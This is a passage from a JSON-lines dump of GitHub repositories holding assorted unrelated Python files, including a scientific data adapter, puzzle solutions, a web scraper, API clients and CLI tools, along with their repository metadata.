\"I-0\"],\n \"itrans\": [\"IT\", \"I1\", \"I\", \"It\", \"Trans\"],\n \"ifluor\": [\n \"Ifluor\",\n \"IF\",\n \"If\",\n \"Cal Diode\",\n \"Cal-diode\",\n \"CalDiode\",\n \"Cal_Diode\",\n \"Cal_diode\",\n \"Canberra\",\n ],\n \"irefer\": [\"Iref\", \"IRef\", \"I2\", \"IR\", \"IREF\", \"DiodeRef\", \"Cal(Iref)\", \"Ref\"],\n }\n column_names = set(df.columns.values.tolist())\n changed_names = {}\n norm_df = None\n\n if energy in column_names:\n if standardize:\n norm_df = df.copy()\n norm_df = norm_df.rename({energy: \"energy\"}, axis=\"columns\")\n else:\n norm_df = pd.DataFrame()\n norm_df[\"energy\"] = df[energy]\n\n for key, value in keywords.items():\n if key != \"time\":\n counter = 0\n for name in value:\n if name in column_names:\n changed_names[key] = name\n if standardize:\n norm_df = norm_df.rename({name: key}, axis=\"columns\")\n else:\n norm_df[key] = df[name]\n break\n counter += 1\n\n # Reached the end of the list and found nothing for one variable\n # Must return None because it does not meet the XDI standards\n # Uncomment the next lines to make the normalized filter more strict\n # if counter == len(value):\n # norm_df = None\n # return norm_df\n\n return norm_df, changed_names\n\n\ndef parse_element_name(filepath, df, metadata):\n\n element_name = None\n edge_symbol = None\n if \"energy\" in set(df.keys()):\n energy = df[\"energy\"]\n if len(energy) > 1:\n min_max = [min(energy), max(energy)]\n\n element_list = {}\n # Find if the edge value of an element in xrayDB is inside the range of\n # Mono Energy values of the current file\n # An element in XrayDB can contain more than one edge, each one identified by\n # a unique IUPAC symbol\n for current_element, values in _EDGE_ENERGY_DICT.items():\n edges = values[1]\n # Most of the cases are solved with a 'K' edge value. This is added to\n # improve computing time\n if \"K\" in edges:\n if (\n edges[\"K\"].energy >= min_max[0]\n and edges[\"K\"].energy <= min_max[1]\n ):\n element_list[current_element] = [\n values[0],\n current_element,\n \"K\",\n edges[\"K\"].energy,\n False,\n ]\n else:\n for key in edges:\n if (\n edges[key].energy >= min_max[0]\n and edges[key].energy <= min_max[1]\n ):\n element_list[current_element] = [\n values[0],\n current_element,\n key,\n edges[key].energy,\n False,\n ]\n break\n\n # Find if the matching elements are named in the parsed metadata\n # Must considered cases with none or multiple matches\n match_counter = 0\n found_key = \"\"\n element_match = {}\n reference = None\n\n if \"UserComment\" in metadata:\n for line in metadata[\"UserComment\"]:\n for key, values in element_list.items():\n if values[1] in line:\n if \"iref\" in line:\n reference = values[1]\n\n if not element_list[key][4]:\n element_list[key][4] = True\n element_match[key] = element_list[key]\n found_key = key\n match_counter += 1\n break\n\n if element_list and not element_match:\n for key, values in element_list.items():\n if key in filepath.stem:\n element_list[key][4] = True\n element_match[key] = element_list[key]\n found_key = key\n match_counter += 1\n\n if match_counter == 0:\n element_name = None\n edge_symbol = None\n elif match_counter == 1:\n element_name = element_list[found_key][1]\n edge_symbol = element_list[found_key][2]\n else:\n if reference is not None:\n if reference in element_match:\n element_match.pop(reference, None)\n key_list = list(element_match.keys())\n if len(key_list) == 1:\n element_name = element_match[key_list[0]][1]\n edge_symbol = element_match[key_list[0]][2]\n\n return element_name, edge_symbol\n\n\nclass HealdLabViewTree(MapAdapter):\n @classmethod\n def from_directory(cls, directory):\n mapping = {\n filename: build_reader(Path(directory, filename))\n for filename in os.listdir(directory)\n if is_candidate(filename)\n }\n return cls(mapping)\n\n\nclass RIXSImagesAndTable(MapAdapter):\n @classmethod\n def from_directory(cls, directory):\n import tifffile\n from tiled.adapters.tiff import TiffSequenceAdapter\n\n mapping = {\n name: MapAdapter(\n {\n \"table\": build_reader(Path(directory, name)),\n \"images\": TiffSequenceAdapter(\n tifffile.TiffSequence(f\"{Path(directory,name)}.Eiger/*\")\n ),\n }\n )\n for name in os.listdir(directory)\n if not os.path.isdir(Path(directory, name))\n }\n return cls(mapping)\n\n\nclass NormalizedReader:\n def __init__(self, filepath):\n cache_key = (\n Path(__file__).stem,\n filepath,\n ) # exact same key you used for build_reader\n # Make an UNnoramlized reader first.\n # Use the cache so that this unnormalized reader can be shared across\n # a normalized tree and an unnormalized tree.\n self._unnormalized_reader = with_object_cache(\n cache_key, build_reader, filepath, no_device=True\n )\n self._current_filepath = filepath\n\n def read(self):\n result = self._unnormalized_reader.read()\n # Make changes to result (altering column names, removing extraneous columns)\n # and then return it.\n norm_df, changed_columns = normalize_dataframe(result)\n if norm_df is None:\n return norm_df\n\n # norm_metadata = {'Columns':self._unnormalized_reader.metadata['Columns']}\n element_name, edge_symbol = parse_element_name(\n self._current_filepath, norm_df, self._unnormalized_reader.metadata\n )\n norm_metadata = {\n \"Element\": {\"symbol\": element_name, \"edge\": edge_symbol},\n \"common\": {\"element\": {\"symbol\": element_name, \"edge\": edge_symbol}},\n \"Translation\": changed_columns,\n }\n return DataFrameAdapter.from_pandas(\n norm_df, metadata=norm_metadata, npartitions=1\n )\n\n def is_empty(self):\n node_state = False\n if self._unnormalized_reader is None:\n node_state = True\n return node_state\n","repo_name":"AI-multimodal/aimm-adapters","sub_path":"aimm_adapters/heald_labview.py","file_name":"heald_labview.py","file_ext":"py","file_size_in_byte":23438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28777234506","text":"# Maximum no. of squares of side 2x2\n# that can fit an isosceles triangle\n# Given input is the base of this triangle\n# f(b) = (b/2 -1) + f(b-2)\n# f(1)=f(2)=f(3) = 0\n# Modified version of Fibonacci Numbers.\ndef tri(a):\n if a <= 3:\n return 0\n# else:\n# return (a//2 -1 ) + tri(a-2)\n# Only recursion tree size allowed = 8\n# So go for iterative way\n ans = 0\n while a > 3:\n ans += a//2 -1\n a -=2\n return ans\n\nt = int(input().split()[0])\nwhile(t>0):\n n = int(input())\n print(tri(n))\n t-=1\n","repo_name":"Akashcba/coding","sub_path":"Phase 1/Day 0/TRISQ.py","file_name":"TRISQ.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42929789950","text":"#!/usr/bin/env python3\nimport logging\n\nimport jwt\nimport requests\nfrom remoteAPI.exceptions import ApiCallError, ServerError\nfrom django.http.response import JsonResponse\nfrom django.utils.translation import ugettext_lazy as _\nfrom settings import JWT_SECRET_KEY, ServiceDNS, Services, TOKEN_EMAIL\n\nlogger = logging.getLogger(__name__)\n\n\ndef generate_privileged_token():\n return jwt.encode({'email': TOKEN_EMAIL}, JWT_SECRET_KEY)\n\n\ndef send_request(\n method,\n service,\n url,\n data=None,\n params=None,\n files=None,\n headers=None,\n token=None,\n raise_exception=True):\n if headers is None:\n headers = {}\n if service == Services.CAPI:\n token = generate_privileged_token()\n\n url = ServiceDNS[service] + url\n headers['Authorization'] = token\n return _send_request(method, url, data, params, files, headers, raise_exception)\n\n\ndef _send_request(\n method,\n url,\n data,\n params,\n files,\n headers,\n raise_exception=True):\n if isinstance(method, str):\n method = getattr(requests, method)\n\n response = method(url, headers=headers, data=data, files=files, params=params, timeout=10)\n\n if response.headers.get('content-type') != 'application/json':\n if raise_exception:\n raise ServerError()\n else:\n return JsonResponse({\n 'type': 'error',\n 'message': 'invalid content type',\n })\n\n if response.status_code >= 300:\n data = response.json()\n if 'type' not in data or 'message' not in data:\n logger.error('Wrong response data format')\n\n if raise_exception:\n raise ApiCallError(\n data.get('type', 'error'),\n data.get('message', _('Error')),\n response.status_code\n )\n\n return response\n","repo_name":"mohibeyki/remoteAPI","sub_path":"remoteAPI/remote_api.py","file_name":"remote_api.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1621340189","text":"import warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\nimport torch\nimport torch.nn as nn\nfrom dataloader import FlyingThingsLoader as FLY\nfrom dataloader.KITTILoader import KITTILoader\nfrom model.basic import DispNetSimple\n#from model.loss import multiscale_loss\nfrom torch.autograd import Variable\nfrom torch.utils.tensorboard import SummaryWriter\nfrom utils import dataset_loader\nfrom utils.metrics import *\n\nimport time\nimport copy\n\n\nDEVICE = torch.device(\"cuda:1\") if torch.cuda.is_available() else torch.device(\"cpu\")\nMAX_SUMMARY_IMAGES = 4\nLR = 3e-4\nEPOCHS = 300\nBATCH_SIZE = 16\nNUM_WORKERS = 8\nMODEL_PTH = 'saved_models/8_9_'\n\n\nassert MAX_SUMMARY_IMAGES <= BATCH_SIZE\n\ntorch.manual_seed(1)\ntorch.cuda.manual_seed(1)\n\n\ndef make_data_loaders(root = 'FlyingThings3D_subset'):\n 'Loads the train and val datasets'\n left_imgs_train, right_imgs_train, left_disps_train, left_imgs_val, right_imgs_val, left_disps_val = dataset_loader.load_data(root)\n\n print(len(left_disps_train), len(left_imgs_train))\n\n if root == 'FlyingThings3D_subset' or root == 'driving':\n train_loader = torch.utils.data.DataLoader(\n FLY.FlyingThingsDataloader(left_imgs_train[:12000], right_imgs_train[:12000], left_disps_train[:12000], True),\n batch_size=BATCH_SIZE, shuffle=True, num_workers=NUM_WORKERS, pin_memory=True, drop_last=False\n )\n\n val_loader = torch.utils.data.DataLoader(\n FLY.FlyingThingsDataloader(left_imgs_val[:1000], right_imgs_val[:1000], left_disps_val[:1000], False),\n batch_size=BATCH_SIZE, shuffle=False, num_workers=NUM_WORKERS, pin_memory=True, drop_last=False\n )\n\n elif root == 'KITTI':\n train_loader = torch.utils.data.DataLoader(\n KITTILoader(left_imgs_train, right_imgs_train, left_disps_train, True),\n batch_size=BATCH_SIZE, shuffle=True, num_workers=NUM_WORKERS, pin_memory=True, drop_last=False\n )\n\n val_loader = torch.utils.data.DataLoader(\n KITTILoader(left_imgs_val, right_imgs_val, left_disps_val, False),\n batch_size=BATCH_SIZE, shuffle=False, num_workers=NUM_WORKERS, pin_memory=True, drop_last=False\n )\n\n print('Data loaded.')\n return train_loader, val_loader\n\n\n\nclass WrappedModel(nn.Module):\n def __init__(self):\n super(WrappedModel, self).__init__()\n self.module = DispNetSimple().to(DEVICE)\n def forward(self, x):\n return self.module(x)\n\n\ndef get_metrics(model, loader):\n model.eval()\n\n rmse = 0\n mrae = 0\n #total_epe = 0\n\n for batch_idx, (imgL, imgR, disp_gt) in enumerate(loader):\n imgL = imgL.to(DEVICE)\n imgR = imgR.to(DEVICE)\n disp_gt = disp_gt.to(DEVICE)\n input_cat = torch.cat((imgL, imgR), 1)\n\n with torch.no_grad():\n disp_our = model(input_cat)\n disp_our = torch.squeeze(disp_our)\n #total_epe += torch.norm(disp_our-disp_gt,p=2,dim=1).mean()\n\n disp_our = disp_our.cpu().numpy()\n disp_gt = disp_gt.cpu().numpy()\n rmse += root_mean_square_error(disp_our, disp_gt)\n mrae += relative_absolute_error(disp_our, disp_gt)\n\n rmse /= len(loader)\n mrae /= len(loader)\n return rmse, mrae\n\nif __name__ == '__main__':\n torch.cuda.empty_cache()\n\n train_loader, val_loader = make_data_loaders()\n\n # state_dict_filename = \"saved_models/46_dispnet.pth\"\n # state_dict_filename = \"saved_models/47_dispnet.pth\"\n # model = WrappedModel().to(DEVICE)\n\n # state_dict_filename = \"saved_models/8_9_57_dispnet.pth\"\n state_dict = torch.load(state_dict_filename)\n\n model = DispNetSimple().to(DEVICE)\n model.load_state_dict(state_dict)\n print(\"Model \"+state_dict_filename+\" loaded.\")\n\n rmse, mrae = get_metrics(model, val_loader)\n print(\"RMSE: {}\\nMRAE: {}\".format(rmse, mrae))\n","repo_name":"djordjebatic/depth_estimation_psiml","sub_path":"validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":3849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31241046009","text":"from .builder import ConsoleMenuBuilder\nfrom bs4 import BeautifulSoup\n\n\nclass XMLFactory:\n def __init__(self, user_interactor):\n self._user_interactor = user_interactor\n\n def load_from_file(self, filename):\n data = ''\n with open(filename) as file:\n data = file.read()\n\n parser = BeautifulSoup(data, 'xml')\n builder = ConsoleMenuBuilder(self._user_interactor)\n\n def parse_menu(builder, menu):\n if menu.name == 'menu':\n action = ''\n if 'action' in menu.attrs.keys():\n action = menu['action']\n builder.begin_menu(menu['title'], action)\n for child in menu.children:\n parse_menu(builder, child)\n builder.end()\n if menu.name == 'entry':\n builder.entry(menu.text.strip(), menu['action'])\n if menu.name == 'link':\n builder.link(menu.text.strip(), menu['action'])\n if menu.name == 'ask':\n default = None\n if 'default' in menu.attrs.keys():\n default = menu['default']\n builder.ask(menu['action'],\n menu.text.strip(),\n default)\n\n parse_menu(builder, parser.menu)\n\n return builder.build()\n","repo_name":"evrard1301/chessclub","sub_path":"view/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31128749191","text":"'''\nThis script uses AWS Translate to convert subtitles from English to\nPolish and Arabic. We only need one of those, but two is better for\nmaking sure everything works.\n\nThe output is a bit ugly, but we'll clean it up with\npretty_print.py. I didn't want to debug or do much work in this script,\nsince running it costs AWS fees.\n'''\n\nimport os\nimport os.path\nimport boto3\nimport json\n\n\ntranslator = boto3.client(service_name='translate')\n\ntargets = ['pl', 'ar']\n\n\ndef i18n(segment):\n if 'segs' in segment:\n if len(segment['segs'][0]) != 1:\n raise \"Error\"\n segment['text'] = {\n 'en': segment['segs'][0]['utf8']\n }\n if isinstance(segment['text'], str):\n segment['text'] = {\n 'en': segment['text']\n }\n\n for target in targets:\n if target not in segment['text']:\n segment['text'][target] = translator.translate_text(\n Text=segment['text']['en'],\n SourceLanguageCode=\"en\",\n TargetLanguageCode=target)['TranslatedText']\n return segment\n\n\nfor fn in os.listdir(\".\"):\n print(fn)\n if not fn.endswith(\".json\"):\n print(\"Not JSON\")\n continue\n if os.path.exists(fn+\".trans\"):\n print(\"Output exists\")\n continue\n payload = json.load(open(fn))\n payload['data'] = json.loads(payload['data'].replace(\"\\\\n\", \" \"))\n print(fn)\n if isinstance(payload['data'], dict): # YouTube\n payload['data'] = payload['data']['events']\n\n if isinstance(payload['data'], list): # Khan Academy\n for segment in payload['data']:\n print(\".\")\n i18n(segment)\n with open(fn+\".trans\", \"w\") as fp:\n fp.write(json.dumps(payload))\n","repo_name":"pmitros/subtitler","sub_path":"scripts/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29134601081","text":"#!/usr/bin/env python3\n\nimport argparse\n\nfrom utils import SigmaClient\n\n\ndef create_member(client, email, first_name, last_name, member_type):\n \"\"\" Creates new organization member\n\n :access_token: Generated access token\n :email: Generated access token\n :first_name: First name of the new member\n :last_name: First name of the new member\n :member_type: Member type of the new member\n\n :returns: Information of newly created member\n\n \"\"\"\n payload = {\n \"email\": email,\n \"firstName\": first_name,\n \"lastName\": last_name,\n \"memberType\": member_type,\n \"isGuest\": False\n }\n response = client.post(\n \"v2/members\",\n json=payload\n )\n data = response.json()\n return data[\"memberId\"]\n\n\ndef grant_connection(client, connection_id, permission, member_id):\n \"\"\" Grants connection permission to a member\n\n :access_token: Generated access token\n :connection_id: ID of connection\n :permission: Permission to be granted\n :member_id: ID of the member to be granted permission\n\n \"\"\"\n payload = {\n \"grants\": [\n {\n \"grantee\": {\"memberId\": member_id},\n \"permission\": permission\n }\n ]\n }\n client.post(\n f\"v2/connections/{connection_id}/grants\",\n json=payload\n )\n\n\ndef grant_workspace(client, workspace_id, permission, member_id):\n \"\"\" Grants workspace permission to a member\n\n :access_token: Generated access token\n :workspace_id: ID of workspace\n :permission: Permission to be granted\n :member_id: ID of the member to be granted permission\n\n \"\"\"\n payload = {\n \"grants\": [\n {\n \"grantee\": {\"memberId\": member_id},\n \"permission\": permission\n }\n ]\n }\n client.post(\n f\"v2/workspaces/{workspace_id}/grants\", json=payload)\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Onboard a new organization member')\n parser.add_argument(\n '--env', type=str, required=True, help='env to use: [production | staging].')\n parser.add_argument(\n '--cloud', type=str, required=True, help='Cloud to use: [aws | gcp]')\n parser.add_argument(\n '--client_id', type=str, required=True, help='Client ID generated from Sigma')\n parser.add_argument(\n '--client_secret', type=str, required=True, help='Client secret generated from Sigma')\n parser.add_argument(\n '--email', type=str, required=True, help='Email of new member to be created')\n parser.add_argument(\n '--first_name', type=str, required=True, help='First name of new member to be created')\n parser.add_argument(\n '--last_name', type=str, required=True, help='Last name of new member to be created')\n parser.add_argument(\n '--member_type', type=str, required=True, help='Email of new member to be created')\n parser.add_argument(\n '--connection_id', type=str, help='Optional ID of connection to grant permission')\n parser.add_argument(\n '--workspace_id', type=str, help='Optional ID of workspace to grant permission')\n\n args = parser.parse_args()\n client = SigmaClient(args.env, args.cloud, args.client_id, args.client_secret)\n\n # Create new organization member\n member_id = create_member(client, args.email,\n args.first_name, args.last_name, args.member_type)\n\n # Assign the member to a connection\n if args.connection_id:\n connection_permission_map = {\n 'creator': 'annotate', 'explorer': 'usage'}\n permission = connection_permission_map[args.member_type]\n grant_connection(client, args.connection_id,\n permission, member_id)\n # Assign the member to a workspace\n elif args.workspace_id:\n workspace_permission_map = {\n 'admin': 'edit', 'creator': 'organize', 'explorer': 'explore', 'viewer': 'view'}\n permission = workspace_permission_map[args.member_type]\n grant_workspace(client, args.workspace_id, permission, member_id)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sigmacomputing/sigma-sample-api","sub_path":"onboard_member.py","file_name":"onboard_member.py","file_ext":"py","file_size_in_byte":4233,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"4749662239","text":"'''\nLightYear CSS\nDale Bustad <dale@divmain.com>\n\nUsage:\n lightyear [options] [-v | --vendorize TARGET] FILE... [--out DIR | --stdout]\n lightyear (-h | --help)\n lightyear --version\n\nAlternate:\n python -m lightyear FILE... [--out DIR | --stdout]\n\nOptions:\n FILE LightYear file (.lyc) to convert to CSS.\n --out DIR Path to put CSS files.\n --stdout Write results to STDOUT.\n\n -p Prettify CSS output\n -d Include original line numbers in outputted CSS for debugging.\n -r Reduce and consolidate rules with identical selectors into\n single rules.\n\n -v Apply vendor prefixes to CSS output via prefixr.com API.\n Default is offline method.\n --vendorize Alternate vendor prefix method.\n Options: online, offline, prefixr\n\n --target TARGET Specify browser targets for vendor prefixes.\n Example: ie=9;firefox=22;chrome=24;safari=5\n Default: ie=10;firefox=20;chrome=26;safari=5\n\n -h --help Show this screen.\n --version Show version.\n'''\n\nimport os\nimport sys\nfrom glob import glob\n\nfrom docopt import docopt\n\nfrom . import LY\nfrom .errors import LyError\n\n\ndef main(argv):\n args = docopt(__doc__, argv, version='0.1.0')\n\n files = []\n for file_group in args['FILE']:\n files_in_group = glob(file_group)\n if not files_in_group:\n raise OSError('File not found: {}'.format(file_group))\n files.extend(files_in_group)\n\n vendorize = ('offline' if args['-v']\n else args['--vendorize'] if args['--vendorize']\n else False)\n\n try:\n for f in files:\n abspath = os.path.dirname(os.path.abspath(f))\n in_name = os.path.basename(f)\n out_name = '.'.join(in_name.split('.')[:-1]) + '.css'\n css = get_css(\n source=load(f),\n debug=args['-d'],\n prettify=args['-p'],\n reduc=args['-r'],\n path=abspath,\n vendorize=vendorize)\n\n if args['--out']:\n outdir = os.path.abspath(args['--out'])\n save(css, os.path.join(outdir, out_name))\n else:\n print(css)\n if not len(files) == 1:\n print(chr(0), end='')\n\n except LyError as e:\n print(e, \"while processing file {}.\".format(f))\n return e.return_code()\n\n return 0\n\n\ndef get_css(source, debug, prettify, reduc, path, vendorize):\n ly = LY(debug=debug, path=path, vendorize=vendorize)\n ly.eval(source)\n if reduc:\n ly.reduce()\n if prettify:\n return ly.pretty_css()\n else:\n return ly.css()\n\n\ndef load(filepath):\n with open(filepath, 'r') as f:\n source = f.read()\n return source\n\n\ndef save(css, out_fpath):\n with open(out_fpath, 'w') as f:\n f.write(css)\n\n\nsys.exit(main(sys.argv[1:]))\n","repo_name":"divmain/lightyear","sub_path":"lightyear/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"28875134442","text":"import turtle\n\ndef main():\n window=turtle.Screen()\n ninja=turtle.Turtle()\n make_square(ninja)\n window.mainloop()\n\ndef make_square(ninja):\n length=int(input('Escriba el tamaño del cuadrado: '))\n make_line_and_turn(ninja,length)\n\ndef make_line_and_turn(ninja, length):\n \n\n for i in range(4):\n ninja.forward(length)\n ninja.left(90)\n\n\nif __name__==\"__main__\":\n main()","repo_name":"AnthonyTalav/First-steps-in-Python","sub_path":"practice3.py","file_name":"practice3.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7250794805","text":"import logging\nfrom logs.setup_logs import init_logs\nfrom readers.file_reader import FileReader\n\nlogger = init_logs(__name__)\n\nUP = '('\nDOWN = ')'\n\nfloor_modifier = {\n UP: 1,\n DOWN: -1\n}\n\n\ndef navigate_stairs(direction):\n if direction in floor_modifier:\n return floor_modifier[direction]\n logging.error(\"Direction %s is not in our map! %s\", direction, floor_modifier)\n\n\ndirections = FileReader.read_input_as_string()\n\ncurrent_floor = 0\ninput_position = 0\nfor char in directions:\n current_floor += navigate_stairs(char)\n # This is for Part 2\n input_position += 1\n if current_floor < 0:\n logging.info(\"Santa is in the basement (%s) on position: %s\", current_floor, input_position)\n exit(0)\n\n# Part 1\nlogging.info(\"Santa made it to floor: %s\", current_floor)\n\n","repo_name":"nbalas/advent_of_code","sub_path":"year/2015/01/floor_nav.py","file_name":"floor_nav.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3383782535","text":"from olx_scrapper import olx_scrap_add\nfrom olx_scrapper import olx_page\nimport csv\nfrom multiprocessing import Pool\nimport time\n# This script is made to create a CSV file with all the possible information on specific ads\n# This information can be used for data analysis\n\n# First of all I want to get all the ads links in a specific domain\nfirstPageLink = 'https://www.olx.ro/oferte/q-gtx-1080/'\nolxPage = olx_page(firstPageLink)\nnumberOfPages = olxPage.get_pages_number()\n# Getting all those ads\nadsList = olxPage.get_ads_for_x_pages(numberOfPages)\n\n# Opening a CSV file to write\nwith open('dataBase.csv', 'w', encoding=\"utf-8\") as csvfile:\n # initializing the field names\n fieldnames = ['link', 'title', 'description', 'price', 'features', 'city', 'images', 'date, time', 'add number']\n csvWriter = csv.DictWriter(csvfile, fieldnames=fieldnames)\n csvWriter.writeheader()\n # method for getting all the attributes of an add and writing them in a CSV file\n def writeToCSV(addLink):\n # I had to open again the file because of multiprocessing\n with open('dataBase.csv', 'a', encoding=\"utf-8\") as csvfile:\n # initializing the field names\n fieldnames = ['link', 'title', 'description', 'price', 'features', 'city', 'images', 'date, time',\n 'add number']\n csvWriter = csv.DictWriter(csvfile, fieldnames=fieldnames)\n # Getting all the information for every field\n olxScrap = olx_scrap_add(addLink)\n information = olxScrap.get_all()\n csvWriter.writerow(information)\n if __name__ == '__main__':\n # Run time calculation\n start_time = time.time()\n # Pool is used for multiprocessing\n # Pool will make the code run faster\n p = Pool()\n result = p.map(writeToCSV,adsList)\n p.close()\n p.join()\n end_time = time.time() - start_time\n print(\"Done\")\n print(\"Elapsed time\", end_time, \" seconds.\")","repo_name":"mihainsto/Olx-Scrapper-Ro","sub_path":"csvWriter.py","file_name":"csvWriter.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"75099383282","text":"\"\"\"\r\nGiven an array of integers, return a new array where each element\r\nin the new array is the number of smaller elements to the right\r\nof that element in the original input array.\r\n\r\nFor example, given the array [3, 4, 9, 6, 1],\r\nreturn [1, 1, 2, 1, 0]\r\n\"\"\"\r\n\r\ndef Solution(ar):\r\n l = len(ar)\r\n retVal = [0] * l\r\n \r\n for i in range(l):\r\n for j in range(i + 1, l):\r\n if ar[j] < ar[i]:\r\n retVal[i] += 1\r\n return retVal\r\n\r\n\r\n\r\nprint(Solution([3,4,9,6,1]))","repo_name":"AdamOtto/Daily-Challenges","sub_path":"Challenge546.py","file_name":"Challenge546.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25909912477","text":"\nfrom src.square import Square\nfrom src.board import Board\nfrom src.game import Game\n\nclass TicTacToe():\n\n def __init__(self, store, users, dim, squares = None):\n self.board = Board(store)\n store['dim'] = dim\n self.board.squares = self.build_board(squares, dim)\n self.users = users\n self.game = Game(store, self.board, self.users)\n\n def build_board(self, squares, dim):\n if squares is None:\n squares = [Square(\"\") for _ in range(dim ** 2)]\n return squares\n\n\n","repo_name":"kurt1984/tic_tac_toe","sub_path":"src/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18434426684","text":"from typing import List\n\nfrom beanie import PydanticObjectId\nfrom classy_fastapi import Routable, post, patch, get, delete\nfrom fastapi import Depends\nfrom pydantic import EmailStr\n\nfrom backend.app.container import container\nfrom backend.app.router import router\nfrom backend.app.services.responder_groups_service import ResponderGroupsService\nfrom backend.app.services.user_service import get_logged_user\nfrom common.models.user import User\n\n\n@router(prefix=\"/{workspace_id}/responder-groups\", tags=[\"Responders Group\"])\nclass ResponderGroupsRouter(Routable):\n def __init__(\n self,\n responder_groups_service: ResponderGroupsService = container.responder_groups_service(),\n *args,\n **kwargs\n ):\n super().__init__(*args, **kwargs)\n self.responder_groups_service = responder_groups_service\n\n @get(\"\")\n async def get_groups_in_workspace(\n self, workspace_id: PydanticObjectId, user: User = Depends(get_logged_user)\n ):\n return await self.responder_groups_service.get_groups_in_workspace(\n workspace_id=workspace_id, user=user\n )\n\n @post(\"\")\n async def create(\n self,\n workspace_id: PydanticObjectId,\n name: str,\n emails: List[EmailStr] = None,\n user: User = Depends(get_logged_user),\n ):\n return await self.responder_groups_service.create_group(\n workspace_id, name, emails, user\n )\n\n @get(\"/{group_id}\")\n async def get_user_group(\n self,\n workspace_id: PydanticObjectId,\n group_id: PydanticObjectId,\n user: User = Depends(get_logged_user),\n ):\n return await self.responder_groups_service.get_users_in_group(\n workspace_id=workspace_id, group_id=group_id, user=user\n )\n\n @patch(\"/{group_id}/emails\")\n async def add_emails_to_group(\n self,\n workspace_id: PydanticObjectId,\n group_id: PydanticObjectId,\n emails: List[EmailStr],\n user: User = Depends(get_logged_user),\n ):\n return await self.responder_groups_service.add_emails_to_group(\n workspace_id=workspace_id, group_id=group_id, emails=emails, user=user\n )\n\n @delete(\"/{group_id}/emails\")\n async def delete_emails_from_group(\n self,\n workspace_id: PydanticObjectId,\n group_id: PydanticObjectId,\n emails: List[EmailStr],\n user: User = Depends(get_logged_user),\n ):\n await self.responder_groups_service.remove_emails_from_group(\n workspace_id=workspace_id, group_id=group_id, emails=emails, user=user\n )\n return \"Removed emails\"\n\n @delete(\"/{group_id}\")\n async def delete_responder_group(\n self,\n workspace_id: PydanticObjectId,\n group_id: PydanticObjectId,\n user: User = Depends(get_logged_user),\n ):\n await self.responder_groups_service.remove_responder_group(\n workspace_id=workspace_id, group_id=group_id, user=user\n )\n return \"Group Deleted\"\n","repo_name":"bettercollected/bettercollected-backend","sub_path":"backend/app/controllers/responder_groups.py","file_name":"responder_groups.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29584885569","text":"\n### EJERCICIO DE PC ###\n\n\"\"\"\nImplemente un programa que dada una secuencia de N números enteros (positivos,\nnegativos y ceros), determine con la ayuda de un solo bucle, el promedio de los números\nnegativos y el promedio de los números positivos.\na) Simule el ingreso de los datos con la función input()\nb) Simule el ingreso de datos con la función random.randint()\n\"\"\"\n\nfrom random import randint\n\nn = int(input(\"Ingrese cantidad: \"))\n\nsuma_positivos = 0\ncant_positivos = 0\nsuma_negativos = 0\ncant_negativos = 0\nfor i in range(n):\n # numero = int(input(\"Ingrese un numero: \")) # a\n numero = randint(-20, 20) # b\n if numero < 0:\n suma_negativos += numero\n cant_negativos += 1\n else:\n suma_positivos += numero\n cant_positivos += 1\n\nif cant_positivos != 0:\n print(\"Promedio positivos: {}\".format(suma_positivos/cant_positivos))\nelse:\n print(\"NO SE ENCONTRARON NUMEROS positivos\")\n\nif cant_negativos != 0:\n print(\"Promedio negativos: {}\".format(suma_negativos/cant_negativos))\nelse:\n print(\"NO SE ENCONTRARON NUMEROS NEGATIVOS\")\n","repo_name":"ChangKuoman/Mentoria-CS1111-2022-1","sub_path":"sesion4/s4.10.py","file_name":"s4.10.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34540384815","text":"import argparse\nimport sys\n\nfrom colcon_core.package_selection import add_arguments \\\n as add_packages_arguments\nfrom colcon_core.package_selection import get_package_descriptors\nfrom colcon_core.package_selection import select_package_decorators\nfrom colcon_core.plugin_system import satisfies_version\nfrom colcon_core.topological_order import topological_order_packages\nfrom colcon_core.verb import VerbExtensionPoint\n\n\nclass InfoVerb(VerbExtensionPoint):\n \"\"\"Package information.\"\"\"\n\n def __init__(self): # noqa: D107\n super().__init__()\n satisfies_version(VerbExtensionPoint.EXTENSION_POINT_VERSION, '^1.0')\n\n def 